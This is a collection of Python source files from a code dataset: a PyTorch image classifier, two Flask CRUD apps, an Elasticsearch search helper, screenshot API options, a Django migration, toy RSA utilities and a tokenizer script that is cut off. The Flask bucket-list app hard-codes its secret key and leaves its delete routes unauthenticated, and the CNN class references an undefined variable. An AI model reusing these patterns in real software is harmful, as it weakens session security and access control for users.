tqdm(test_loader):\n\n x_batch, y_batch = x_batch.to(self.device), y_batch.to(self.device)\n y_pred = self(x_batch)\n y_pred_tag = torch.log_softmax(y_pred, dim = 1)\n _, y_pred_tag = torch.max(y_pred_tag, dim = 1)\n y_pred_tag = y_pred_tag.squeeze() # Flatten big boy\n\n correct_num += sum(y_pred_tag == y_batch)\n\n # Save each image in the batch if misclassified\n for idx, (expected, actual) in enumerate(zip(y_batch, y_pred_tag)):\n\n if expected == actual:\n continue\n\n name = f'{i_ter}.png'\n i_ter += 1\n tensor_image = x_batch[idx]*0.5 + 0.5\n\n self.dispatch_to_folder(save_dir, expected, actual, tensor_image, name)\n\n print(f'Total images: {tot}\\nCorrectly classfied: {correct_num}')\n\n def dispatch_to_folder(self, save_dir, expected, actual, tensor_image, name):\n misclassified_as_sink = os.path.join(save_dir, 'as_sink')\n\n if not os.path.isdir(misclassified_as_sink):\n os.mkdir(misclassified_as_sink)\n\n misclassified_as_handwash = os.path.join(save_dir, 'as_handwash')\n\n if not os.path.isdir(misclassified_as_handwash):\n os.mkdir(misclassified_as_handwash)\n \n if expected == 0 and actual == 1:\n # Handwashing misclassified as sink\n file_path = os.path.join(misclassified_as_sink, name)\n save_image(tensor_image, file_path)\n\n if expected == 1 and actual == 0:\n # Sink misclassified as handwashing\n file_path = os.path.join(misclassified_as_handwash, name)\n save_image(tensor_image, file_path)\n\n\n @torch.no_grad()\n def predict_video(self, path, save_dir, every=None):\n self.eval()\n idx = 0\n preproc=transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)),\n ])\n\n for image in self.image_generator(path, every):\n if image is None:\n break\n \n input_image = preproc(image)\n input_image = input_image.view(1, input_image.size(0), input_image.size(1), input_image.size(2))\n input_image = input_image.to(self.device)\n\n y_pred = self(input_image)\n y_pred_tag = torch.log_softmax(y_pred, dim = 1)\n _, y_pred_tag = torch.max(y_pred_tag, dim = 1)\n y_pred_tag = y_pred_tag.squeeze()\n tag = y_pred_tag.item()\n \n # Save tensor as img\n\n if not os.path.isdir(save_dir):\n os.mkdir(save_dir)\n img_path = os.path.join(save_dir, f'{idx}-{tag}.png')\n save_image(input_image[0]*0.5 + 0.5, img_path)\n idx += 1\n\n\n \"\"\"\n Yields all frames from a video.\n\n Parameters:\n - path: Path to load the video from.\n - resize: tuple defining dimensions of new image.\n - every: Every how many frame to yield a frame. E.g.\n every = 30, means yield a frame every 30 frames.\n None for all frames.\n \"\"\"\n def image_generator(self, path, resize=(224, 224), every=None):\n cap = cv2.VideoCapture(path)\n count = 0\n try:\n while True:\n ret, frame = cap.read()\n if not ret:\n break\n frame = cv2.resize(frame, resize)\n frame = frame[:, :, [2, 1, 0]]\n image = Image.fromarray(frame)\n if every is None or count % every == 0:\n yield image\n\n count += 1\n finally:\n cap.release()\n\n yield None\n\n \n def binary_acc(self, y_pred, y_test):\n y_pred_tag = torch.log_softmax(y_pred, dim = 1)\n _, y_pred_tags = torch.max(y_pred_tag, dim = 1)\n correct_results_sum = (y_pred_tags == y_test).sum().float()\n acc = correct_results_sum/y_test.shape[0]\n acc = torch.round(acc * 100)\n return acc\n\n\n \"\"\"def load_model(self, D_model_filename = './discriminator.pkl', G_model_filename = './generator.pkl'):\n D_model_path = os.path.join(os.getcwd(), D_model_filename)\n G_model_path = os.path.join(os.getcwd(), G_model_filename)\n self.D.load_state_dict(torch.load(D_model_path))\n self.G.load_state_dict(torch.load(G_model_path))\n print('Generator model loaded from {}.'.format(G_model_path))\n print('Discriminator model loaded from {}-'.format(D_model_path))\"\"\"\n\n\nclass CNN(nn.Module): \n def __init__(self, image_size=128, channels=3): \n super().__init__()\n self.conv1 = nn.Conv2d(3, 6, 5)\n # we use the maxpool multiple times, but define it once\n self.pool = nn.MaxPool2d(2,2)\n # in_channels = 6 because self.conv1 output 6 channel\n self.conv2 = nn.Conv2d(6,16,5) \n # 5*5 comes from the dimension of the last convnet layer\n self.fc1 = nn.Linear(16*5*5, 120) #input is 400 as it is flatten after previous layer of 16x5x5\n self.fc2 = nn.Linear(120, 84)\n self.fc3 = nn.Linear(84, 10)\n self.main = nn.Sequential(\n # input is (channels) x image_size x image_size; (image_size = 128)\n nn.Conv2d(channels, ndf, 4, 2, 1, bias=False), #in_channels, out_channels, kernel_size, stride=1, padding=0\n nn.LeakyReLU(0.2, inplace=True), \n # state size. (ndf) x 32 x 32\n nn.Conv2d(ndf, ndf * 2, 4, 2, 1, bias=False),\n nn.BatchNorm2d(ndf * 2),\n nn.LeakyReLU(0.2, inplace=True),\n # state size. (ndf*2) x 16 x 16\n nn.Conv2d(ndf * 2, ndf * 4, 4, 2, 1, bias=False),\n nn.BatchNorm2d(ndf * 4),\n nn.LeakyReLU(0.2, inplace=True),\n # state size. (ndf*4) x 8 x 8\n nn.Conv2d(ndf * 4, ndf * 8, 4, 2, 1, bias=False),\n nn.BatchNorm2d(ndf * 8),\n nn.LeakyReLU(0.2, inplace=True),\n # state size. (ndf*8) x 4 x 4\n nn.Conv2d(ndf * 8, 1, 4, 1, 0, bias=False),\n nn.Sigmoid()\n )\n\n \"\"\"model = models.Sequential()\n model.add(Conv2D(16, (15, 15), activation='relu', input_shape=(64, 64,1))) #filters, kernel_size, strides\n model.add(layers.BatchNormalization())\n model.add(layers.MaxPooling2D((2, 2)))\n model.add(layers.Conv2D(32, (7, 7), activation='relu'))\n model.add(layers.BatchNormalization())\n model.add(layers.MaxPooling2D((2, 2)))\n model.add(layers.Conv2D(64, (5, 5), activation='relu'))\n model.add(layers.BatchNormalization())\n model.add(layers.Flatten())\n model.add(layers.Dense(64, activation='relu'))\n #model.add(layers.Dense(2)) # for sparse_categorial_crossentropy - then choose 2 neurons in next layer\n model.add(layers.Dense(1, activation='sigmoid'))\n opt = tf.keras.optimizers.Adam(lr=0.0005, decay=1e-6)\n model.compile(optimizer= opt , loss= tf.keras.losses.binary_crossentropy, metrics=['accuracy'])\"\"\"\n\n\n\n def forward(self, x): \n x = self.pool(F.relu(self.conv1(x)))\n x = self.pool(F.relu(self.conv2(x)))\n x = x.view(-1, 16*5*5)\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = self.fc3(x) # no activation on final layer \n return x\n\n\n\"\"\"\nclass Discriminator(nn.Module):\n def __init__(self, ngpu, nc, ndf):\n super(Discriminator, self).__init__()\n self.ngpu = ngpu\n self.main = nn.Sequential(\n # input is (nc) x 64 x 64\n nn.Conv2d(nc, ndf, 4, 2, 1, bias=False),\n nn.LeakyReLU(0.2, inplace=True),\n # state size. (ndf) x 32 x 32\n nn.Conv2d(ndf, ndf * 2, 4, 2, 1, bias=False),\n nn.BatchNorm2d(ndf * 2),\n nn.LeakyReLU(0.2, inplace=True),\n # state size. (ndf*2) x 16 x 16\n nn.Conv2d(ndf * 2, ndf * 4, 4, 2, 1, bias=False),\n nn.BatchNorm2d(ndf * 4),\n nn.LeakyReLU(0.2, inplace=True),\n # state size. (ndf*4) x 8 x 8\n nn.Conv2d(ndf * 4, ndf * 8, 4, 2, 1, bias=False),\n nn.BatchNorm2d(ndf * 8),\n nn.LeakyReLU(0.2, inplace=True),\n # state size. (ndf*8) x 4 x 4\n nn.Conv2d(ndf * 8, 1, 4, 1, 0, bias=False),\n nn.Sigmoid()\n )\n \n def forward(self, input):\n return self.main(input)\n\n\"\"\"\n\n\"\"\"\ndef create_model(self):\n # highest accuracy liveness on non-diffused iages- 16 (13,13) => 32 (7,7) => 64 (5,5) => 64 => 1 - acc = 94.2\n model = models.Sequential()\n model.add(Conv2D(16, (15, 15), activation='relu', input_shape=(64, 64,1)))\n model.add(layers.BatchNormalization())\n model.add(layers.MaxPooling2D((2, 2)))\n model.add(layers.Conv2D(32, (7, 7), activation='relu'))\n model.add(layers.BatchNormalization())\n model.add(layers.MaxPooling2D((2, 2)))\n model.add(layers.Conv2D(64, (5, 5), activation='relu'))\n model.add(layers.BatchNormalization())\n model.add(layers.Flatten())\n model.add(layers.Dense(64, activation='relu'))\n #model.add(layers.Dense(2)) # for sparse_categorial_crossentropy - then choose 2 neurons in next layer\n model.add(layers.Dense(1, activation='sigmoid'))\n opt = tf.keras.optimizers.Adam(lr=0.0005, decay=1e-6)\n model.compile(optimizer= opt , loss= tf.keras.losses.binary_crossentropy, metrics=['accuracy'])\n return model\n\n def load_model(self,model_file_name):\n model = tf.keras.models.load_model(model_file_name)\n return model\n\n def train_model(self, model, train_images,train_labels,test_images, test_labels, epochs):\n cbk = CustomModelCheckpoint() # so that we can save the best model\n history = model.fit(train_images, train_labels, epochs=epochs, callbacks=[cbk], \n validation_data=(test_images, test_labels))\n #plt.plot(history.history['accuracy'], label='accuracy')\n #plt.plot(history.history['val_accuracy'], label = 'val_accuracy')\n #plt.xlabel('Epoch')\n #plt.ylabel('Accuracy')\n #plt.ylim([0.5, 1])\n #plt.legend(loc='lower right')\n #plt.show()\n return model\n\n def evaluate(self, model, test_images, test_labels):\n test_loss, test_acc = model.evaluate(test_images, test_labels, verbose=2)\n return test_loss, test_acc\n\"\"\"\n","sub_path":"models/CNN.py","file_name":"CNN.py","file_ext":"py","file_size_in_byte":16451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"593025276","text":"from flask import Flask\nfrom models import User\nfrom models import BucketList\nfrom models import Entry\nfrom flask import request, url_for\nfrom flask import session, render_template, redirect\nfrom flask_bower import Bower\nfrom flask_login import LoginManager\nfrom flask_login import login_user\nfrom flask_login import login_required\nfrom flask_login import current_user\nfrom flask_login import logout_user\n\napp = Flask(__name__)\napp.secret_key = 's\\xb2\\xf9?\\xeeu\\xc2\\nB\\xaf\\x97\\xecJ\\x03\\x82Sv\\xef\\x9e_\\x03\\xd3Fw'\nBower(app)\nlogin_manager = LoginManager()\nlogin_manager.init_app(app)\n\n\n@login_manager.user_loader\ndef user_loader(user_id):\n \"\"\"Given *user_id*, return the associated User object.\n :param unicode user_id: user_id (email) user to retrieve\n \"\"\"\n try:\n user = User.find_by_email(user_id)\n return user\n except KeyError:\n return None\n\n\n@app.route('/login', methods=['POST', 'GET'])\ndef login():\n email = None\n password = None\n error = None\n\n \"\"\"For GET requests, display the login form. For POSTS, login the current user\n by processing the form.\"\"\"\n if request.method == \"POST\":\n email = request.form['email']\n password = request.form['password']\n\n try:\n user = User.find_by_email(email)\n if user.check_password(user.user_password, password):\n user.authenticated = True\n\n # Login and validate the user.\n # user should be an instance of your `User` class\n login_user(user, remember=True)\n\n # redirect to the home page\n return redirect(url_for('home'))\n else:\n error = 'You have entered invalid credentials'\n return render_template('login.html', error=error)\n\n except:\n error = 'The email does not exist'\n return render_template('login.html', error=error)\n\n return render_template('login.html', error=error)\n\n\n@app.route('/create_account', methods=['POST', 'GET'])\ndef create_account():\n first_name = None\n last_name = None\n user_name = None\n user_password = None\n email = None\n contact_no = None\n error = None\n\n \"\"\"For GET requests, display the registraion form. For POSTS, register the current user\n by processing the form.\"\"\"\n if request.method == \"POST\":\n first_name = request.form['first_name']\n last_name = request.form['last_name']\n user_name = request.form['user_name']\n user_password = request.form['user_password']\n email = request.form['email']\n contact_no = request.form['contact_no']\n\n if email in User.email_index:\n error = 'User with the email already exists'\n return render_template('createaccount.html', error=error)\n else:\n user = User(first_name, last_name, user_name, user_password, email, contact_no)\n # redirect to the login page\n return redirect(url_for('login'))\n else:\n return render_template('createaccount.html', error=error)\n\n\n@app.route('/logout')\ndef logout():\n \"\"\"Logout the current user.\"\"\"\n user = current_user\n user.authenticated = False\n logout_user()\n return render_template(\"logout.html\")\n\n\n@app.route('/home')\n@login_required\ndef home():\n \"\"\"Display home page.\"\"\"\n user = current_user\n return render_template('home.html', user=user)\n\n\n@app.route('/create_bucketlist', methods=['POST', 'GET'])\n@login_required\ndef create_bucketlist():\n \"\"\"Display create bucket list page.\"\"\"\n title = None\n description = None\n error = None\n user = current_user\n\n \"\"\"For GET requests, display the registraion form. For POSTS, register the current user\n by processing the form.\"\"\"\n if request.method == \"POST\":\n title = request.form['title']\n description = request.form['description']\n\n try:\n u = User.find_by_email(user.email)\n bucket_list = BucketList(title, description)\n bucket_list.add_user(u)\n u.create_bucketlist(bucket_list)\n return redirect(url_for('home'))\n except KeyError:\n error = \"No user found\"\n return render_template('create_bucketlist.html', error=error)\n else:\n return render_template('create_bucketlist.html', error=error)\n\n\n@app.route('/update_bucketlist', methods=['POST', 'GET'])\n@login_required\ndef update_bucketlist():\n \"\"\"Display create bucket list page.\"\"\"\n title = None\n description = None\n error = None\n user = current_user\n bucket_list_id = request.args.get('id')\n bucket_list = None\n\n \"\"\"For GET requests, display the registraion form. For POSTS, register the current user\n by processing the form.\"\"\"\n if request.method == \"POST\":\n title = request.form['title']\n description = request.form['description']\n id = request.form['id']\n try:\n u = User.find_by_email(user.email)\n for b in u.bucket_lists:\n if b.id == int(id):\n b.title = title\n b.description = description\n return redirect(url_for('home'))\n except KeyError:\n error = \"No user found\"\n return render_template('home.html')\n else:\n u = User.find_by_email(user.email)\n bucket_lists = u.bucket_lists\n for b in bucket_lists:\n if b.id == int(bucket_list_id):\n bucket_list = b\n return render_template('bucketlist_update.html', bucket_list=bucket_list)\n\n\n@app.route('/bucketlist_detail')\n@login_required\ndef bucketlist_detail():\n user = current_user\n id = request.args.get('id')\n bucket_list = None\n try:\n u = User.find_by_email(user.email)\n for b in u.bucket_lists:\n if b.id == int(id):\n bucket_list = b\n except KeyError:\n bucket_list = None\n\n return render_template('bucketlist_detail.html', bucket_list=bucket_list)\n\n\n@app.route('/bucketlist_delete', methods=['POST', 'GET'])\ndef bucketlist_delete():\n id = None\n user = current_user\n\n \"\"\"For GET requests, display the login form. For POSTS, login the current user\n by processing the form.\"\"\"\n if request.method == \"POST\":\n id = request.form['id']\n u = User.find_by_email(user.email)\n try:\n for i, b in enumerate(u.bucket_lists):\n if b.id == int(id):\n del u.bucket_lists[i]\n break\n return redirect(url_for('home'))\n except:\n return render_template('home.html')\n else:\n return render_template('home.html')\n\n\n@app.route('/create_entry', methods=['GET', 'POST'])\n@login_required\ndef create_entry():\n \"\"\"Display entries list page.\"\"\"\n title = None\n content = None\n error = None\n\n \"\"\"For GET requests, display the registraion form. For POSTS, register the current user\n by processing the form.\"\"\"\n if request.method == \"POST\":\n title = request.form['title']\n content = request.form['content']\n bucket_list_id = request.form['bucket_list_id']\n try:\n bucket_list = BucketList.find_by_id(int(bucket_list_id))\n entry = Entry(title, content, int(bucket_list_id))\n bucket_list.add_entry(entry)\n return redirect(url_for('show_entries', id=[int(bucket_list_id)]))\n except KeyError:\n error = \"No bucket list found\"\n return render_template('create_entry.html', error=error)\n else:\n bucket_list_id = request.args.get('id')\n return render_template('create_entry.html', bucket_list_id=bucket_list_id)\n\n\n@app.route('/show_entries')\n@login_required\ndef show_entries():\n entries = []\n bucket_list_id = request.args.get('id')\n\n try:\n bucket_list = BucketList.find_by_id(int(bucket_list_id))\n entries = bucket_list.entries\n except KeyError:\n entries = []\n\n return render_template('show_entries.html', entries=entries, bucket_list_id=bucket_list_id)\n\n\n@app.route('/entry_detail')\n@login_required\ndef entry_detail():\n entry = None\n entry_id = request.args.get('entry_id')\n bucket_list_id = request.args.get('bucket_list_id')\n try:\n bucket_list = BucketList.find_by_id(int(bucket_list_id))\n entries = bucket_list.entries\n\n for e in entries:\n if e.id == int(entry_id):\n entry = e\n except KeyError:\n entry = None\n\n return render_template('entry_detail.html', entry=entry)\n\n\n@app.route('/entry_update', methods=['GET', 'POST'])\n@login_required\ndef entry_update():\n \"\"\"Display entries list page.\"\"\"\n title = None\n content = None\n error = None\n entry_id = None\n bucket_list_id = None\n entry = None\n\n entry_id = request.args.get('entry_id')\n bucket_list_id = request.args.get('bucket_list_id')\n\n \"\"\"For GET requests, display the registraion form. For POSTS, register the current user\n by processing the form.\"\"\"\n if request.method == \"POST\":\n title = request.form['title']\n content = request.form['content']\n entry_id = request.form['entry_id']\n bucket_list_id = request.form['bucket_list_id']\n try:\n bucket_list = BucketList.find_by_id(int(bucket_list_id))\n entries = bucket_list.entries\n\n for e in entries:\n if e.id == int(entry_id):\n e.title = title\n e.content = content\n break\n bucket_list.entries = entries\n\n return redirect(url_for('entry_detail', entry_id=[int(entry_id)], bucket_list_id=[int(bucket_list_id)]))\n except KeyError:\n error = \"No entry found\"\n return render_template('entry_update.html', error=error)\n else:\n bucket_list = BucketList.find_by_id(int(bucket_list_id))\n entries = bucket_list.entries\n for e in entries:\n if e.id == int(entry_id):\n entry = e\n return render_template('entry_update.html', entry=entry)\n\n\n@app.route('/entry_delete', methods=['POST', 'GET'])\ndef entry_delete():\n entry_id = None\n bucket_list_id = None\n bucket_list = None\n entries = None\n\n \"\"\"For GET requests, display the login form. For POSTS, login the current user\n by processing the form.\"\"\"\n if request.method == \"POST\":\n entry_id = request.form['entry_id']\n bucket_list_id = request.form['bucket_list_id']\n try:\n bucket_list = BucketList.find_by_id(int(bucket_list_id))\n entries = bucket_list.entries\n\n for i, e in enumerate(entries):\n if e.id == int(entry_id):\n del entries[i]\n break\n bucket_list.entries = entries\n return redirect(url_for('show_entries', id=[int(bucket_list_id)]))\n except:\n entries = bucket_list.entries\n return render_template('show_entries.html', id=[int(bucket_list_id)])\n else:\n return render_template('show_entries.html', id=[int(bucket_list_id)])\n\n\nif __name__ == '__main__':\n app.run()\n","sub_path":"flask_demo.py","file_name":"flask_demo.py","file_ext":"py","file_size_in_byte":11226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"330497032","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport re\nimport sys\nfrom os import path\nfrom tornado.options import options\nfrom elasticsearch import Elasticsearch\n\nBASE_DIR = path.dirname(path.dirname(path.dirname(path.dirname(__file__))))\nsys.path.append(BASE_DIR)\n\nfrom controller.helper import load_config\nfrom controller.page.tool.diff import Diff\nfrom controller.page.tool.variant import normalize\n\n\ndef get_hosts():\n config = load_config() or {}\n hosts = [config.get('esearch') or {'host': '47.95.216.233', 'post': 9200}]\n if hasattr(options, 'testing') and options.testing:\n hosts = [dict(host='dev.tripitakas.net')]\n return hosts\n\n\ndef find(q, index='cb4ocr-ik'):\n \"\"\" 从ES中寻找与q最匹配的document \"\"\"\n if not q:\n return []\n\n if re.match(r'^[0-9a-zA-Z_]+', q):\n match = {'page_code': q}\n else:\n ocr = re.sub(r'[\\x00-\\xff]', '', q)\n ocr = re.sub(Diff.cmp_junk_char, '', ocr)\n match = {'normal': normalize(ocr)}\n\n dsl = {\n 'query': {'match': match},\n 'highlight': {'pre_tags': [''], 'post_tags': [''], 'fields': {'normal': {}}}\n }\n\n es = Elasticsearch(hosts=get_hosts())\n r = es.search(index=index, body=dsl)\n\n return r['hits']['hits']\n\n\ndef find_one(ocr, num=1, only_match=False):\n \"\"\" 从ES中寻找与ocr最匹配的document，返回第num个结果 \"\"\"\n ocr = ''.join(ocr) if isinstance(ocr, list) else ocr.replace('|', '')\n ret = find(ocr)\n if not ret or num - 1 not in range(0, len(ret)):\n return '', []\n hit_page_codes = [r['_source']['page_code'] for r in ret]\n cb = ''.join(ret[num - 1]['_source']['origin'])\n diff = Diff.diff(ocr, cb, label=dict(base='ocr', cmp1='cb'))[0]\n if only_match:\n # 寻找第一个和最后一个同文\n start, end = None, None\n for i, d in enumerate(diff):\n if d.get('is_same') and start is None:\n start = i\n if diff[-i - 1].get('is_same') and end is None:\n end = len(diff) - i - 1\n if start is not None and end is not None:\n break\n diff1 = diff[start: end + 1]\n # 处理diff1中前面几个异文超长的情况\n diff2 = [d for d in diff1 if not d.get('is_same')][:4]\n for d in diff2:\n if len(d.get('cb', '')) - len(d.get('ocr', '')) > 3:\n d['cb'] = '■' * len(d['ocr'])\n txt = ''.join([d['cb'] for d in diff1])\n if end < len(diff) - 1 and not diff[end + 1].get('is_same'):\n last = diff[end + 1]\n txt += last['cb'][:len(last['ocr'])]\n else:\n txt = ''.join(['%s' % d['cb'] if d.get('is_same') else d['cb'] for d in diff])\n return txt.strip('\\n'), hit_page_codes\n\n\ndef find_neighbor(page_code, neighbor='next'):\n \"\"\" 从ES中寻找page_code的前一页或后一页记录 \"\"\"\n assert neighbor in ['prev', 'next']\n head = re.search(r'^([A-Z]{1,2}\\d+n[A-Z]?\\d+[A-Za-z_]?)p([a-z]?\\d+)', page_code)\n page_no = head.group(2)\n neighbor_no = str(int(page_no) + 1 if neighbor == 'next' else int(page_no) - 1).zfill(len(page_no))\n neighbor_code = '%sp%s' % (head.group(1), neighbor_no)\n neighbor_node = find(neighbor_code)\n return neighbor_node and neighbor_node[0]\n\n\nif __name__ == '__main__':\n import pymongo\n\n # print([r['_source'] for r in find('由業非以自性滅，故無賴耶亦能生')])\n local_db = pymongo.MongoClient('mongodb://localhost')['tripitaka']\n page = local_db.page.find_one({'name': 'GL_1047_1_11'}, {'ocr': 1})\n ocr1 = page['ocr']\n ocr1 = re.sub(r'[■\\|]', '', ocr1)\n txt1 = find_one(ocr1, only_match=True)[0]\n print(txt1)\n","sub_path":"controller/page/tool/esearch.py","file_name":"esearch.py","file_ext":"py","file_size_in_byte":3687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"260309886","text":"#!/usr/bin/python\n\nfrom GrabzIt import GrabzItBaseOptions\n\nclass GrabzItImageOptions(GrabzItBaseOptions.GrabzItBaseOptions):\n \"\"\" Available options when creating a image capture\n\n Attributes:\n\n width the width of the resulting screenshot in pixels. Use -1 to not reduce the width of the screenshot\n height the height of the resulting screenshot in pixels. Use -1 to not reduce the height of the screenshot\n browserWidth the width of the browser in pixels\n browserHeight the height of the browser in pixels. Use -1 to screenshot the whole web page\n format the format the screenshot should be in: bmp8, bmp16, bmp24, bmp, tiff, jpg, png\n delay the number of milliseconds to wait before creating the capture\n targetElement the CSS selector of the only HTML element in the web page to capture\n hideElement the CSS selector(s) of the one or more HTML elements in the web page to hide\n requestAs the user agent type should be used: Standard Browser = 0, Mobile Browser = 1, Search Engine = 2 and Fallback Browser = 3\n customWaterMarkId set a custom watermark to add to the screenshot\n quality set the quality of the screenshot where 0 is poor and 100 excellent. The default is -1 which uses the recommended quality\n \"\"\"\n\n def __init__(self):\n GrabzItBaseOptions.GrabzItBaseOptions.__init__(self)\n self.browserWidth = 0\n self.browserHeight = 0\n self.width = 0\n self.height = 0\n self.format = ''\n self.targetElement = ''\n self.hideElement = ''\n self.requestAs = 0\n self.customWaterMarkId = ''\n self.quality = -1\n \n def _getParameters(self, applicationKey, sig, callBackURL, dataName, dataValue):\n params = self._createParameters(applicationKey, sig, callBackURL, dataName, dataValue)\n params[\"width\"] = int(self.width)\n params[\"height\"] = int(self.height)\n params[\"bwidth\"] = int(self.browserWidth)\n params[\"bheight\"] = int(self.browserHeight)\n params[\"delay\"] = int(self.delay)\n params[\"format\"] = str(self.format)\n params[\"target\"] = str(self.targetElement)\n params[\"hide\"] = str(self.hideElement) \n params[\"requestmobileversion\"] = int(self.requestAs)\n params[\"customwatermarkid\"] = str(self.customWaterMarkId) \n params[\"quality\"] = int(self.quality) \n\n return params\n\n def _getSignatureString(self, applicationSecret, callBackURL, url = ''):\n urlParam = '';\n if (url != None and url != ''):\n urlParam = str(url)+\"|\"\n\n callBackURLParam = '';\n if (callBackURL != None and callBackURL != ''):\n callBackURLParam = str(callBackURL)\n\n return applicationSecret +\"|\"+ urlParam + callBackURLParam + \\\n \"|\"+str(self.format)+\"|\"+str(int(self.height))+\"|\"+str(int(self.width))+\"|\"+str(int(self.browserHeight))+\"|\"+str(int(self.browserWidth))+\"|\"+str(self.customId)+ \\\n \"|\"+str(int(self.delay))+\"|\"+str(self.targetElement)+\"|\"+str(self.customWaterMarkId)+\"|\"+str(int(self.requestAs))+\"|\"+str(self.country)+\"|\"+str(int(self.quality))+\"|\"+str(self.hideElement)\n ","sub_path":"python/GrabzIt/GrabzItImageOptions.py","file_name":"GrabzItImageOptions.py","file_ext":"py","file_size_in_byte":3663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"286913128","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('content', '0022_auto_20150119_1521'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='additionaldetail',\n name='type',\n field=models.SmallIntegerField(default=0, choices=[(0, 'lis\\xe4tieto'), (1, 'P\\xc4\\xc4T\\xd6S'), (2, 'Viety eteenp\\xe4in')]),\n preserve_default=True,\n ),\n ]\n","sub_path":"content/migrations/0023_auto_20150401_1431.py","file_name":"0023_auto_20150401_1431.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"464452432","text":"#%%\nfrom flask import Flask, render_template, request, redirect, url_for\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\n\n\napp.config['SQLALCHEMY_DATABASE_URI'] = \"sqlite:///new-books-collection.db\"\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\ndb = SQLAlchemy(app)\n\n\nclass Book(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n title = db.Column(db.String(120), unique=True, nullable=False)\n author = db.Column(db.String(120), unique=False, nullable=False)\n rating = db.Column(db.String(120), unique=False, nullable=False)\n\n def __str__(self):\n return f'{self.title} {self.author} {self.rating}'\n \ndb.create_all()\n\n\n@app.route('/', methods=[\"GET\", \"POST\"])\ndef home():\n all_books = Book.query.all()\n \n return render_template('index.html', books=all_books)\n\n\n\n@app.route(\"/add\", methods=[\"GET\", \"POST\"])\ndef add():\n if request.method == \"POST\":\n new_book = Book(title=request.form.get('book'), \n author=request.form.get('author'), \n rating=request.form.get('rating'))\n\n db.session.add(new_book)\n db.session.commit()\n return redirect(url_for('home'))\n return render_template('add.html')\n\n\n@app.route(\"/edit\", methods=[\"GET\", \"POST\"])\ndef edit():\n if request.method == \"POST\":\n book_id = request.form.get('id')\n book = Book.query.get(book_id)\n \n book.rating = request.form.get('new_rating')\n db.session.commit()\n return redirect(url_for('home'))\n \n book_id = request.args.get('book_id')\n book = Book.query.get(book_id)\n return render_template('edit.html', book=book)\n\n\n@app.route(\"/delete\")\ndef delete():\n book_id = request.args.get('book_id')\n book = Book.query.get(book_id)\n db.session.delete(book)\n db.session.commit()\n \n return redirect(url_for('home'))\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n\n\n# %%\n","sub_path":"day63_library_collection/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"351849137","text":"from random import randint\r\n\r\n#a^b (mod c)\r\ndef bin_mod_exp(a, b, c):\r\n x = 1\r\n while b > 0:\r\n if b & 1 == 1:\r\n x = (x*a) % c\r\n a = (a*a) % c\r\n b >>= 1\r\n return x\r\n\r\ndef _try_composite(a, d, n, s):\r\n if pow(a, d, n) == 1:\r\n return False\r\n for i in range(s):\r\n if pow(a, 2**i * d, n) == n-1:\r\n return False\r\n return True\r\n\r\ndef is_prime_MillerRabin(n, _precision_for_huge_n=16):\r\n if n in _known_primes or n in (0, 1):\r\n return True\r\n if any((n % p) == 0 for p in _known_primes):\r\n return False\r\n d, s = n - 1, 0\r\n while not d % 2:\r\n d, s = d >> 1, s + 1\r\n if n < 1373653:\r\n return not any(_try_composite(a, d, n, s) for a in (2, 3))\r\n if n < 25326001:\r\n return not any(_try_composite(a, d, n, s) for a in (2, 3, 5))\r\n if n < 118670087467:\r\n if n == 3215031751:\r\n return False\r\n return not any(_try_composite(a, d, n, s) for a in (2, 3, 5, 7))\r\n if n < 2152302898747:\r\n return not any(_try_composite(a, d, n, s) for a in (2, 3, 5, 7, 11))\r\n if n < 3474749660383:\r\n return not any(_try_composite(a, d, n, s) for a in (2, 3, 5, 7, 11, 13))\r\n if n < 341550071728321:\r\n return not any(_try_composite(a, d, n, s) for a in (2, 3, 5, 7, 11, 13, 17))\r\n # otherwise\r\n return not any(_try_composite(a, d, n, s)\r\n for a in _known_primes[:_precision_for_huge_n])\r\n\r\n_known_primes = [2, 3]\r\n_known_primes += [x for x in range(5, 1000, 2) if is_prime_MillerRabin(x)]\r\n\r\n\r\ndef genPrime(bitLen):\r\n #random binary number\r\n binN = \"1\"\r\n for i in range(bitLen -2):\r\n binN += str(randint(0,1))\r\n binN += \"1\"\r\n n = int(binN, 2)\r\n while(not is_prime_MillerRabin(n)):\r\n n += 2\r\n return n\r\n\r\ndef extended_euclid(a, b):\r\n x,y, u,v = 0,1, 1,0\r\n while a != 0:\r\n q, r = b//a, b%a\r\n m, n = x-u*q, y-v*q\r\n b,a, x,y, u,v = a,r, u,v, m,n\r\n gcd = b\r\n return gcd, x, y\r\n\r\ndef mod_inv(a, m):\r\n gcd, x, y = extended_euclid(a, m)\r\n if gcd != 1:\r\n return None\r\n else:\r\n return x % m","sub_path":"Kryptologie/RSA/rsamath.py","file_name":"rsamath.py","file_ext":"py","file_size_in_byte":2144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"23358073","text":"import sentencepiece as spm\nimport pandas as pd\nimport csv\n\nSRC_DATA_PATH = '../integrated_data/korean_for_nlp.txt'\n\n\nif __name__ == '__main__':\n input = SRC_DATA_PATH\n vocab_size = '1500'\n model_type = 'unigram'\n model_prefix = 'spm_%s_%s' % (model_type, vocab_size)\n max_sentence_length = '9999'\n\n\n spm.SentencePieceTrainer.Train('--input=%s --model_prefix=%s --vocab_size=%s'\n ' 